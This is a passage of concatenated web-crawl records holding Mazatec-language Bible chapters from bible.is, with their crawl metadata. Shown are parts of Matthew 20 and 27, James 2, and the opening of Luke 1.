siìxá‑la̱ xi̱ta̱ xi i'nga ko̱ tsjaà yijo‑na̱ nga ki̱yá mé‑ne nga kjìn xi̱ta̱ ki̱tjokàjiìn‑ne kjo̱'in xi kjoa̱ ts'e̱ jé‑la̱. 29K'e̱ nga jye nchifì‑ne ya̱ na̱xa̱ndá Jericó, kjìn xi̱ta̱ kiìtji̱ngui‑la̱ Jesús. 30Ya̱ i̱ndiì ndi̱yá koni s'ín tífì Jesús, jò xi̱ta̱ xi mìkiì tsejèn‑la̱ títsa̱jna. K'e̱ nga kiì'nchré nga jè Jesús tífaya ndi̱yá, 'ñó kiìchja̱‑la̱ kitsò‑la̱: ―¡Na̱'èn, nga ya̱ nchrobàt'aà‑ne tje̱‑la̱ xi̱ta̱xá ítjòn David [nga ji̱ tijna ngajo‑la̱] jcha̱hi̱ma̱takòn‑náje̱n! 31Jñà xi̱ta̱ xi tji̱ko̱ Jesús tsohótiko̱‑ne nga jyò kàtìtsa̱jna, ta̱nga jñà xi̱ta̱ xi mìkiì tsejèn‑la̱, ìsa̱á 'ñó kiìchja̱, kitsò: ―¡Na̱'èn, xi tje̱‑la̱ David, jcha̱hi̱ma̱takòn‑náje̱n! 32K'e̱é tsasíjna Jesús koa̱ kiìchja̱‑la̱, kiskònangui‑la̱, kitsò‑la̱: ―¿Mé xi mejèn‑nò nga si̱ìko̱‑nò? 33Jñà xi̱ta̱ koi, kitsò: ―Na̱'èn, mejèn‑naje̱n nga kàtatsejèn‑naje̱n. 34Jesús kjòhi̱ma̱keè jñà xi̱ta̱ koi. Tsohót'aà‑la̱ tsja xko̱n koa̱ ni̱to̱ón kjòtsejèn‑la̱. I̱kjoàn kiìtji̱ngui‑la̱ Jesús.\nSan Mateo 20","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/20","date":"2013-12-13T18:17:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164974477\/warc\/CC-MAIN-20131204134934-00071-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":759,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.31,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò, ndí 'ndsè, koni s'ín mokjeiín‑nò i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo xi jeya tíjna, kì chjaàjñoò xi̱ta̱ xinguio̱o. 2- 3Tsà jngoò xi̱ta̱ ki̱jchò ya̱ i̱'nde ñánda bixoña, xi ta̱ngò oro tíkjá na̱jnó tsja, ti̱koa̱ 'ñó ndaà kjoàn nikje chjí xi kikjá. Jñò, tsà 'ñó ndaà si̱s'in‑là, k'oín‑la: \"Ti̱jni i̱jndé ñánda ndaà choòn.\" Tsà ti̱koa̱ ki̱jchò jngoò xi̱ta̱ i̱ma̱ xi kixajndàjno kixajndàt'aà nikje‑la̱, tsà k'oín‑la: \"Ta̱xki̱ ti̱si̱jni ya̱, ko̱ tsà majìn, ta̱xki̱ ti̱jnat'eiì ya̱ nangui.\" 4Jñò, k'e̱ nga ko̱s'ín s'e̱en, xinguio̱o titsa̱nachrjekànguiò nga chjaàjñoò xi̱ta̱ xinguio̱o koni s'ín xi̱ta̱xá xi ch'o tjín kjo̱hítsjeèn‑la̱. 5Jñò ndí 'ndsè xi 'ñó matsjake̱‑nò, ti̱ná'ya: Nainá xó k'oa̱á s'ín jaàjiìn‑ne jñà xi xi̱ta̱ i̱ma̱ xi tjín i̱ i̱sò'nde, mé‑ne nga jñà kítsa̱jna ítjòn‑ne koni s'ín mokjeiín‑la̱ ti̱koa̱ tjoé kjo̱tjò‑la̱ ngats'iì kjo̱ndaà xi Nainá tsjá‑la̱ jñà xi̱ta̱ xi jè otíxoma‑la̱ nga jyeé k'oa̱s'ín kitsjaà 'én‑la̱ nga tsjá‑la̱ xi̱ta̱ xi matsjakeè. 6Ta̱nga jñò, ta sa̱á nachrjekànguioò jñà xi̱ta̱ i̱ma̱. ¿A mìtsà jñà xi̱ta̱ nchi̱ná xi jñò beètoòn‑nò nga fìko̱‑nò nguixko̱n xi̱ta̱xá nga óngui‑nò? 7¿A mìtsà jñà xi̱ta̱ nchi̱ná xi chja̱jno‑la̱ i̱t'aà ts'e̱ 'ín‑la̱ Cristo, xi jè otíxoma‑nò? 8Jñò, ndaà 'nè‑nò tsà kixi̱ kjoa̱ nga nìkitasòn jè kjo̱tíxoma‑la̱ Cristo xi otíxoma koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Ti̱tsjachi xi̱ta̱ xingui̱i xi i'nga koni tsà ti̱ yijo tsi̱ji‑ne.\" 9Ta̱nga tsà chjaàjñoò xi̱ta̱ xinguio̱o, tjín xi ndaà nìs'in‑la̱à ko̱ tjín xi mìkiì ndaà nìs'in‑la̱à, jé binchaàtsji‑la̱ yijo‑nò, nga nìkatonè‑là kjo̱tíxoma; ti̱jè‑ne kjo̱tíxoma tíbínè‑nò jé. 10Nga tsà jngoò xi̱ta̱ xi ndaà síkitasòn yije kjo̱tíxoma ta̱nga tsà tà jngoò kjoa̱ síkatonè‑la̱, jye kisakò jé yije‑la̱ i̱t'aà ts'e̱ kjo̱tíxoma‑la̱ Nainá. 11Nga̱ k'oa̱á tsò Nainá: \"Kì kjoa̱ chijngui 'nè.\" Ta̱nga ti̱koa̱á tjít'aà ñánda tsò: \"Kì xi̱ta̱ nìk'eèn.\" Jñò, tsà mì kjoa̱ chijngui 'nè, ta̱nga tsà xi̱ta̱ nìk'eèn, jye kisakò jé‑nò i̱t'aà ts'e̱ kjo̱tíxoma. 12Jñò, k'oa̱á s'ín ti̱nókjoa̱a ko̱ k'oa̱á s'ín t'e̱en koni xi̱ta̱ xi Nainá ki̱ìndaàjiìn‑la̱ tsà k'oa̱s'ín tíbitasòn‑la̱ koni tsò kjo̱tíxoma xi síkítsa̱jnandei̱í xi̱ta̱. 13Jñà xi̱ta̱ xi tsjìn‑la̱ kjo̱hi̱ma̱takòn i̱t'aà ts'e̱ xi̱ta̱ xi kj'ei̱í, ti̱koa̱á mìkiì s'e̱‑la̱ kjo̱hi̱ma̱takòn k'e̱ nga si̱nè‑la̱ kjo̱'in. Ta̱nga jñà xi tjín‑la̱ kjo̱hi̱ma̱takòn, mì kjo̱'in si̱nè‑la̱ k'e̱ nga si̱ndaàjiìn‑la̱. 14Ndí 'ndsè, nìmé chjí‑la̱ tsà jngoò xi̱ta̱ xi tsò: \"'A̱n, mokjeiín‑na i̱t'aà ts'e̱ Nainá\", tsà mìkiì tí'ya‑la̱ kjo̱ndaà‑la̱. Xi̱ta̱ jè, xi ta jè kjoa̱ mokjeiín‑la̱, mìkiì ko̱ma ki̱tjokàjiìn kjo̱'in. 15Tsà jngoò 'ndsé ko̱ tsà jngoò tichjaá xi tsjìn‑la̱ nikje xi ókjá ko̱ tsà tsjìn‑la̱ tsojmì xi kine; 16jñò, tsà k'oín‑laà: \"T'in‑là ndaà‑ne, ndaà chi̱kjeí nikje‑lè, ndaà chi̱ni̱i tsojmì xi mejèn‑lè.\" Ko̱ tsà mìkiì si̱chját'aà‑là mé xi mochjeén‑la̱, ni̱mé chjí‑la̱. 17K'oa̱á ti̱s'ín ma kjoa̱ xi mokjeiín‑ná, tsà mìkiì tí'ya‑la̱ kjo̱ndaà‑ná, ni̱mé chjí‑la̱ kjoa̱ xi mokjeiín‑ná. 18Tjín i'nga xi̱ta̱ xi kjònangui, tsò: \"¿A mokjeiín‑lè i̱t'aà ts'e̱ Cristo?\" 'A̱n, xan‑la̱: \"Tí'yaá‑la̱ kjo̱ndaà‑na. ¿A ko̱maá ko̱kó‑ná nga mokjeiín‑lè i̱t'aà ts'e̱ Cristo tsà ni̱mé kjo̱ndaà tì'nì? Ta̱nga 'a̱n tìs'iìn‑ná kjo̱ndaà, k'oa̱á ma‑ne kokoò‑lè nga kixi̱í kjoa̱ nga mokjeiín‑na.\" 19Ngaji̱ ndaá tjín nga mokjeiín‑lè nga jngoò ma Nainá. Ta̱nga ti̱koa̱á jñà ini̱ma̱ ch'o‑la̱ nei̱í mokjeiín‑la̱ nga tjín Nainá, skanda otsé‑né nga tsakjón‑la̱. 20Jñò, xi̱ta̱ xi tsjìn‑nò kjo̱hítsjeèn, ¿a mì fìya‑nò nga nìmé chjí‑la̱ kjoa̱ xi mokjeiín‑nò tsà mìkiì tí'ya‑la̱ kjo̱ndaà‑nò? 21Na̱'èn jchán kjìn‑ná Abraham, ¿mé‑ne xi̱ta̱ kixi̱ kitsò‑la̱ Nainá? Koií kjoa̱‑la̱ nga ndaà kisìkitasòn koni s'ín kitsò‑la̱ k'e̱ nga kitsjaà kjo̱tjò Isaac xi ki'ndí‑la̱ ma nga tjín‑ne nga si̱ìk'en. 22¿A mì 'ya‑jèn nga jè Abraham koni s'ín nga kòkjeiín‑la̱, k'oa̱á ti̱s'ín kisìkitasòn? Koni s'ín kisìkitasòn, ya̱á kjòjngoò kjoa̱ mokjeiín‑la̱ nga ni̱mé kisìchijàt'aà‑la̱. 23K'oa̱á s'ín tsitasòn koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Abraham kòkjeiín‑la̱ i̱t'aà ts'e̱ Nainá; k'oa̱á s'ín komà‑ne nga Nainá kiskoétjò nga xi̱ta̱ kixi̱ kitsò‑la̱.\" Amigo‑la̱ Nainá ki'mì Abraham. 24Ya̱á 'yaà, nga Nainá kjoétjò xi̱ta̱ kjoa̱ ts'e̱ kjo̱ndaà xi síkitasòn, mìtsà tà koi kjoa̱‑la̱ nga mokjeiín‑la̱. 25K'oa̱á ti̱s'ín tjín ts'e̱ chjo̱ón chijngui xi 'mì Rahab; Nainá kiskoétjò nga xi̱ta̱ kixi̱ kitsò‑la̱ koií kjoa̱‑la̱ kjo̱ndaà xi kis'iìn nga kitsjaà'nde‑la̱ jñà xi̱ta̱ xi ijchò katsejèn‑'ma, i̱kjoàn kisìchját'aà‑la̱ nga xìn ndi̱yá kisìkasén‑ne xi̱ta̱ koi. 26K'oa̱ ti̱s'ín tjín jè yijo‑ná, ni̱mé chjí‑la̱, tíjna k'en‑né tsà tsjìn ini̱ma̱‑ná. K'oa̱á ti̱s'ín ma kjoa̱ xi mokjeiín‑ná, tsà mìkiì tí'ya‑la̱ kjo̱ndaà‑ná, ni̱mé chjí‑la̱.\nJacobo 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Jas\/2","date":"2013-12-05T18:21:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163047055\/warc\/CC-MAIN-20131204131727-00065-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000098943710327}","num_words":660,"character_repetition_ratio":0.075,"word_repetition_ratio":0.009,"special_characters_ratio":0.234,"stopwords_ratio":0.282,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye ki'se i̱sén, nga'tsì xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ jñà xi̱ta̱ jchínga 'tse̱ xi̱ta̱ judío, tsajo̱óya‑ni kó'sín si̱ìko̱ Jesús mé‑ni nga ko̱ma si̱ì'ken‑ni. 2Tsikíté'ñó Jesús, kiìko̱ nga isìnga̱tsja jè Pilato ra xi̱ta̱xá ítjòn tíjna ya̱ nangi Judea. 3Judas, jè ra isìnga̱tsja jñà xi̱ta̱ kondra̱‑la̱ Jesús, 'kia̱ nga kijtse nga ijye isinè‑la̱ Jesús nga ki̱yá, isíkájnoó‑ni ko̱ isíkáfaá‑ni to̱n chroba ra katé ma‑ni ra kitsjà‑la̱ jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ xi̱ta̱ jchínga 'tse̱ xi̱ta̱ judío. Kitsò‑la̱: 4―Tseé jé tsakatsjí‑la̱ ijo‑na̱, mì tsa mé jé tjín‑la̱ xi̱ta̱ ra kísingátsja‑no. Tanga jñà xi̱ta̱ kìi̱, kitsó‑la̱: ―Nì mé kinda̱‑naji̱n ra ji̱n, ya̱á‑la̱ niki̱i ijo‑li. 5Jè Judas tsikítsajoó to̱n ya̱ a̱ya i̱ngo̱. A̱kjòn kijì, nga kiì kíngi na'ñó ísìn. 6Jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, iskábé to̱n, kitsò: ―Jñà to̱n kìi̱, mì kì ko̱ma ya̱ si̱jngoke̱é to̱n ra nìnga̱tsjeé Nainá; nga̱ jní ixaájten‑tjí‑la̱. 7'Kia̱ ijye tsajo̱óya‑ni, nangií tsatse jngo 'ndé‑ni, ya̱ ñánda̱ bitjo ni'nde ra sinda‑ni ti̱jí, mé‑ni nga ya̱ ma si̱i'nde‑ni xi̱ta̱ ra xìn nangi. 8Kií ko̱'sín 'mì‑nì skanda 'ndi̱‑ni̱ ya̱ i̱'nde ra̱kìi̱ nga I̱'nde 'tse̱ Jní 'mì. 9'Koa̱á 'sín itjasòn koni 'sín kitsò xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱ kjotseé ra tsi'kìn Jeremías nga kitsò: \"Iskábé to̱n chroba ra katé ma‑ni, koni 'sín iskosòn‑la̱ jñà xi̱ta̱ Israel nga ko̱tjín chjí‑la̱, 10ko̱ 'koa̱á 'sín kisìchjeén jñà to̱n kìi̱ nga ya̱ tsatse‑ni i̱'nde ñánda̱ bitjo ni'nde ra sinda‑ni ti̱jí koni 'sín kitsò‑na Na̱'ín‑ná.\" 11'Kia̱ nga tíjna Jesús ya̱ ngixko̱n xi̱ta̱xá ítjòn 'tse̱ nangi Judea, jè xi̱ta̱xá ra̱kìi̱ iskonangií‑la̱, kitsò‑la̱: ―¿A ji̱‑ní xi̱ta̱xá títjòn‑la̱ xi̱ta̱ Judío? Jesús kitsó‑la̱: ―Ji̱í ra ko̱'sín tjisi. 12Ni̱mé 'én kiìchja̱ Jesús 'kia̱ nga i̱nchibángi jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ xi̱ta̱ jchínga ra 'tse̱ xi̱ta̱ Judío. 13'Kia̱á kitsò‑la̱ jè Pilato: ―¿A mí tjina'yí nga'tsì 'én ra i̱nchibánè‑li xi̱ta̱? 14Tanga Jesús ni̱jngo 'én kiìchja̱; jè xi̱ta̱xá ítjòn 'tse̱ nangi Judea, ta 'koa̱á kjomà‑la̱. 15'Kia̱ nga xki̱ nó xki̱ nó, nga bitjo 'sí paxko̱, jè xi̱ta̱xá ítjòn 'tse̱ nangi Judea síkíjnandi̱í jngo‑ni xi̱ta̱ ra títsa̱'ya nda̱yá; jñà xi̱ta̱ na̱xi̱ndá síjé yá ra mejèn‑la̱ nga si̱jnandi̱í‑ni. 16Ni̱chjin 'kia̱ nda̱yá tíjna'ya jngo xi̱ta̱ ra 'ñó 'tse̱n ra 'mì Barrabás. 17'Kia̱ nga kjóxkóya jñà xi̱ta̱ na̱xi̱ndá, jè Pilato iskonangií‑la̱, kitsò‑la̱: ―¿Yá ra mejèn‑no nga síkíjnandi̱í‑na? ¿A jè Barrabás, o̱ ra jè Jesús jè ra 'mì Cristo? 18Jè Pilato, ijyeé be‑ní, nga tà ki‑ní nga maxitakòn‑ke Jesús xi̱ta̱ kìi̱, kií ko̱'sín ya̱ isìnga̱tsja‑ni. 19'Kia̱ nga tíjna jè Pilato ya̱ ni'ya masen, jè chjo̱ón‑la̱ isìkasén 'én‑la̱ nga kitsò‑la̱: \"Kì ya̱ chaájin kjoa̱‑la̱ xi̱ta̱ kixi̱ ra̱kìi̱. Na̱ti ni̱tje̱n, 'ñó 'cho tsò nijñá ra ka'bì‑na ra a̱'ta 'tse̱.\" 20Tanga jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ jñà xi̱ta̱ jchínga 'tse̱ xi̱ta̱ judío, jñá tsinchá'a jñà xi̱ta̱ na̱xi̱ndá nga jè Barrabás katasíjé ra katasijnandi̱í‑ni ko̱ jè Jesús katabiya. 21Jè xi̱ta̱xá india iskonangi-isa‑la̱ jñà xi̱ta̱ na̱xi̱ndá; kitsò‑la̱: ―Ta ngajò xi̱ta̱ kìi̱, ¿ñáa̱ ra mejèn‑no nga síkíjnandi̱í‑na? Jñà xi̱ta̱ na̱xi̱ndá kitsó‑ní: ―¡Jé Barrabás‑róoi̱! 22Jè Pilato kitsò‑la̱ na̱xi̱ndá: ―¿Mé ra sikóo̱ jè Jesús ra 'mì Cristo? Nga'tsì xi̱ta̱ na̱xi̱ndá kitsó‑ní: ―¡Krò katasi'ta‑róoi̱! 23'Kia̱á kitsò jè Pilato: ―¿Mé kjoa̱ ra ta̱ 'cho ki'sìn kjòn? Jñà xi̱ta̱ na̱xi̱ndá, ta isa̱á 'ñó kiìchja̱, kitsò: ―¡Krò katasi'ta‑róoi̱! 24'Kia̱ nga kijtse Pilato nga ni̱mé nda tísindajín, nga ta isa̱á tímatse kjoa̱, iskaní'ká nandá chi̱'nda‑la̱ jè ra tsiníjno‑ni tsja ya̱ ngixko̱n nga'tsì xi̱ta̱ na̱xi̱ndá. Kitsò‑la̱: ―Ni̱mé jé tjín‑na ra 'a̱n nga ki̱yá jè xi̱ta̱ kixi̱ ra̱kìi̱. Kinda̱ tsa̱jión‑nó koni 'sín 'nià. 25Nga'tsì xi̱ta̱ na̱xi̱ndá kitsó‑ní: ―Ji̱ín kjine‑naji̱n ko̱ i̱xti‑na̱ji̱n jè kjo̱biya‑la̱ xi̱ta̱ ra̱kìi̱. 26Jè Pilato, 'kia̱á isíkíjnandi̱í‑ni jè Barrabás; ko̱ kitsjá kjo̱kixi̱ nga kinìki'on jè Jesús, a̱kjòn isìnga̱tsja jñà xi̱ta̱ kìi̱ nga kátá'ta krò. 27Jñà chíchàn‑la̱ xi̱ta̱xá ítjòn 'tse̱ nangi Judea, ya̱á kiìko̱ Jesús ya̱ ni'ya masen‑la̱ xi̱ta̱xá ítjòn. A̱kjòn tsikíxkóya nga'tsì chíchàn xákjién nga kitsendí‑la̱ Jesús. 28Isíkájna líka̱ jè Jesús, a̱kjòn isíkáya jngo nikje ra inì 'ki. 29Kisì'ya̱ jngo yá na'yá nga tsikí'a sko̱ koni 'sín si'a jngo‑la̱ corona xi̱ta̱xá ítjòn, ko̱ jngo ínaxo̱ tsakáya ya̱ tsja nga kixi̱; tsincha-xkó'nchi'ta‑la̱ nga isìtsja'tin. Kitsò‑la̱: ―¡Nda katijna jè Xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ Judío! 30Ti̱'koa̱ tsikíchrájno‑te, iskábé jè ínaxo̱ ra kjiya tsja, tsatjìko̱‑ni sko̱. 31'Kia̱ ijye ko̱'sín isìsobà‑la̱, tsjahíxìn‑la̱ jè nikje inì ra kjiya. A̱kjòn isíkáya india‑ni jè nikje‑la̱ ra 'tse̱. A̱kjòn kiìko̱ nga kiì ká'ta krò. 32'Kia̱ nga ijye i̱nchifìko̱ Jesús, isatékjoó jngo xi̱ta̱ ra ya̱ Cirene i̱'nde‑la̱ ra 'mì Simón. Jñà chíchàn kjo̱'ñó ki'sìn‑la̱ nga isi'ka jè krò‑la̱ Jesús. 33'Kia̱ nga ijchò ya̱ i̱'nde ñánda̱ 'mì Gólgota ra i̱'nde sko̱ mi'ken tsò‑ni, 34kitsjá‑la̱ nandá binagre̱ ra tjíkójin jngo‑la̱ nandá ra 'ñó tsja. Tanga 'kia̱ nga iskó'ta Jesús, mì kì ki'tsi. 35'Kia̱ nga ijye tsaká'ta ya̱ krò, jñà chíchàn isískáko̱ kañá jñà nikje‑la̱ Jesús nga yá 'tse̱ ki̱tso̱‑la̱ nga jngó jngó nikje. ['Koa̱á 'sín itjasòn 'én‑la̱ xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱ nga kitsò: \"Kisìka'bí‑la̱ xákjién jè nikje‑na̱ nga isíská kañá‑ni.\"] 36A̱kjòn ya̱á tsikitsa̱jna nga isikìnda̱ Jesús. 37Ya̱ sko̱ krò tsaká'ta jngo íte ra tjí'ta 'én ra tsò‑ni: \"Jé ra̱kìi̱ Jesús, ra Xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ Judío\", nga̱ ta kií kjoa̱‑ni nga ko̱'sín kinì'ken. 38Ti̱'koa̱ jò xi̱ta̱ chijé ta̱ña isi'tako̱ krò. Jngo isasíjna ya̱ ngakixi̱‑la̱ ko̱ jngo isasíjna ya̱ ngaskoán‑la̱. 39Jñà xi̱ta̱ ra ya̱ chi̱ba̱‑la̱ 'ja, kiìchja̱jnoó‑te‑la̱, síkjahatji‑la̱ sko̱. 40Kitsò‑la̱: ―Ji̱ ra ko̱'sín kisi nga si̱kixojin i̱ngo̱ ítjòn‑la̱ Nainá ko̱ nga jàn ni̱chjin kínda india‑ni, ti̱ji̱ ti̱náchrjejin‑ni kjo̱hi'in ijo‑li. Tsa kixi̱ kjoa̱ nga I'ndí‑la̱ Nainá 'mì‑li, títjo̱ji̱in ya̱ a̱'ta krò. 41'Koa̱á ti̱'sín isìtsja'tin jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá, ko̱ xi̱ta̱ jchínga 'tse̱ xi̱ta̱ Judío. Kitsò: 42―Maá‑la̱ tsachrjejin kjo̱hi'in xi̱ta̱ ra kj'ií, tanga mì kì ma‑la̱ ti̱jè síko̱‑ni ijo‑la̱. Tsa kixi̱í kjoa̱ tsa jè ra Xi̱ta̱xá ítjòn‑la̱ na̱xi̱ndá Israel, katitjojen'ta ya̱ krò mé‑ni nga ko̱kjiín‑ná ra a̱'ta 'tse̱. 43'Ñó tsaká'ta ikon jè Nainá. Tsa kixi̱ kjoa̱ nga tsjake Nainá, jè katasiko̱ 'ndi̱ 'ndi̱‑ni̱. Nga̱ 'koa̱á 'sín kitsó‑ná nga I'ndí‑la̱ Nainá 'mì. 44'Koa̱á ti̱'sín kitsò jñà xi̱ta̱ chijé ra ti̱'koa̱á ya̱ kji'ta krò; kiìchja̱jnoó‑te‑la̱. 45'Kia̱ ijchò nchisen, skanda nga ijchò las tres nga ngixòn, kjojñó‑ní kóho'ki nga tíjngo i̱sà'nde. 46'Kia̱ nga mejèn bijchó las tres, 'ñó kiìchja̱ Jesús nga kitsò: \"Elí, Elí, ¿lama sabactani?\" 'Én ra kiìchja̱, tsó‑ni: Ji̱ ra Nainá xin‑la, ¿mé‑ni kajmitakón‑ná? 47'Kia̱ nga kií'nchré‑la̱ jñà ra ya̱ títsa̱jna, tjín i'ka ra kitsò: ―Jé‑la Elías tíchja̱‑la̱. 48Jñà xi̱ta̱ kìi̱, jngo ra ta ndi̱to̱ón í'ká jngo tsa̱nga̱; isikà'nchi̱ ko̱ nandá binagre̱; a̱kjòn tsikísko jngo ínaxo̱; kitsjá‑la̱ Jesús nga kata'bi. 49Tanga kitsó jñà ra i'ka: ―Ti̱jmió, chítsijen‑lá a kj'i̱í‑ró‑tse jè Elías nga si̱ìkíjnandi̱í‑ni. 50Jesús 'ñó kiìchja̱ india‑isa. A̱kjòn 'ken. 51Jè nikje ra tja̱'báya ya̱ nga masen‑la̱ i̱ngo̱ ítjòn ichrjajndá‑ní. Jòya kjomà skanda a̱'ta nangi; ko̱ 'ñó 'tsa chón ko̱ tsakjaán jñà na̱xi̱. 52Itjá'xa̱ jñà nga̱jo̱‑la̱ mi'ken. Ko̱ kjín jaáya‑ila̱ jñà ra xi̱ta̱ tsje ya̱ ngixko̱n Nainá, jñà ra 'ken kjotseé. 53'Kia̱ nga ijye jaáya‑ila̱ Jesús, jñà xi̱ta̱ kìi̱, itjoó nga̱jo̱‑la̱ nga kijì ya̱ na̱xi̱ndá tsje ra 'mì Jerusalén, ko̱ kjín xi̱ta̱ ra ya̱ kijtse. 54Jñà chíchàn ko̱ jè xi̱ta̱ ítjòn‑la̱ ra ya̱ i̱jncha nga i̱nchisíkinda̱ Jesús, 'kia̱ kijtse nga 'ñó 'tsa chón, ko̱ nga'tsì kjoa̱ ra kjomà, ta itsakjón‑ní. 'Kia̱á kitsò: ―Ngi kixi̱ kitií‑la kjoa̱ nga jè xi̱ta̱ ra̱kìi̱, I'ndí‑la̱ Nainá‑ní. 55Kjín ma‑ni íchjín ra ya̱ títsa̱jna ra ta kjin i̱nchikotsíjen‑ni; jñà íchjín ra tsikima'ta‑la̱ Jesús nga inchrabà‑ni skanda ya̱ Galilea. 56Ya̱á tíjna ra 'mì María Magdalena, ko̱ María ra na̱‑la̱ Jacobo ko̱ José, ko̱ na̱‑la̱ ra i̱xti‑la̱ Zebedeo. 57'Kia̱ nga ijye mejèn kàtjì tsá'bí, 'jií jngo xi̱ta̱ nchi̱ná ra 'mì José ra ya̱ i̱'nde‑la̱ jè na̱xi̱ndá ra 'mì Arimatea. Jè xi̱ta̱ ra̱kìi̱, ti̱'koa̱á ya̱á iskotá'yá'ta‑la̱ Jesús. 58Kiìjkoón jè Pilato nga isíjé‑la̱ ijo‑la̱ Jesús. Jè Pilato kitsjá'nde‑ní nga katamanga̱tsja. 59Jè José iskábé jè ijo‑la̱ Jesús; isíkájté jngo nikje chraba ra tsje. 60Kiìko̱ nga iskanì'sen‑ngi jngo ra nga̱jo̱ xi̱tse̱ ra jè tsjà'ì ya̱ a̱ngi na̱xi̱. A̱kjòn tsjahítsjá jngo na̱jo̱ te ra 'ñó je ra tsasén‑jto ya̱ xo̱tjo̱ba̱‑la̱ nga̱jo̱; a̱kjòn kijì‑ni. 61Jè María Magdalena ko̱ jè María ra ìjngo, ya̱á títsa̱jna ya̱ chraña ñánda̱ isìhi'nde jè Jesús. 62'Kia̱ nga ma nchijòn nga ni̱chjin níkjáya, jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ jñà xi̱ta̱ fariseo, kiìjkoón jè Pilato. 63Kitsò‑la̱: ―Nàmi̱, bítsjeén‑naji̱n nga jè xi̱ta̱ ndiso ra̱kìi̱, 'kia̱ nga ti̱'sa̱ tíjnakon‑isa, kitsó‑ní: \"'Kia̱ nga ki̱jchò jàn ni̱chjin kjoa̱áya india‑na.\" 64'Koa̱á ma‑ni, isa̱á nda tsa katamakìnda̱ jè nga̱jo̱‑la̱ ñánda̱ nga isìhi'nde skanda nga ko̱ma jàn ni̱chjin, mé‑ni nga mì ya̱ ki̱jchò‑ni jñà xi̱ta̱ ra kotá'yá'ta‑la̱ 'kia̱ nga ni̱tje̱n nga ki̱jchò síchijé jè ijo‑la̱, a̱kjòn kitsò‑la̱ xi̱ta̱ na̱xi̱ndá: \"Ijyeé jaáyaá‑ila̱ ra a̱'ta 'tse̱ kjo̱biya.\" Ko̱ isa̱á ta 'cho ko̱ma‑ni 'én ndiso ra̱kìi̱, nda mí 'koa̱‑ni koni jñà ra ki'se nga 'sa̱ ítjòn. 65Kitsó jè Pilato: ―Ya̱á kitse chíchàn ya̱ i̱jndáa̱. Tangió, ko̱ nda ti̱kinda̱a. 'Ñó tichjàjto jè nga̱jo̱, mé‑ni nga 'ñó kata'se‑ni. 66'Kia̱á kijì, nga 'ñó nda tsikíchjàjto jè nga̱jo̱ ko̱ tsikí'ta jngo‑la̱ chi̱ba̱ mé‑ni nga jcha̱‑la̱ tsa yá ra ski̱í'xa̱jto. A̱kjòn isíkítsa̱jna jñà chíchàn ra isikìnda̱.\nSan Mateo 27","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/27","date":"2013-12-12T09:12:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164574548\/warc\/CC-MAIN-20131204134254-00075-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000008225440979}","num_words":1428,"character_repetition_ratio":0.073,"word_repetition_ratio":0.001,"special_characters_ratio":0.238,"stopwords_ratio":0.331,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ijyeé kjìn ma‑ni xi̱ta̱ ra tsikínda‑te xa̱jo̱n jñà kjoa̱kixi̱ ra kjomà a̱jin na̱xi̱ndá ra a̱'ta 'tse̱ Cristo, 2koni 'sín tsakón‑ya‑naji̱n jñà xi̱ta̱ ra xko̱n kijtse‑ni skanda 'kia̱ nga kjo'tsia̱ kjòn‑ni kjoa̱, ti̱jñá‑ni ra ki'tsí xá‑la̱ nga isìka'bí 'én nda‑la̱ Cristo. 3Ji̱ Nàmi̱ Teófilo, ra xkón tijni, 'a̱n ti̱'koa̱á ndaá sasén‑na nga tíbindá‑la xa̱jo̱n ra̱kìi̱, koni 'sín tjín nga jngó jngó sko̱ya kjoa̱; ndaá tsakatsjíya ijye skanda 'kia̱ nga ti̱'sa̱ kjo'tsia̱ kjòn‑ni kjoa̱, 4mé‑ni nga isa̱ nda jcha̱‑ni kjoa̱kixi̱ ra ngi ko̱'sín tjín, jñà 'én ra ijye tsakón‑ya‑li xi̱ta̱. 5Jè ni̱chjin 'kia̱ nga xi̱ta̱xá ítjòn tíjna jè Herodes ya̱ nangi Judea, jngo na̱'mì tíjna ra 'mì Zacarías ra tje̱‑la̱ Abías ma. Jè chjo̱ón‑la̱ Zacarías, Elisabet 'mì ra tje̱‑la̱ Aarón. 6Xi̱ta̱ 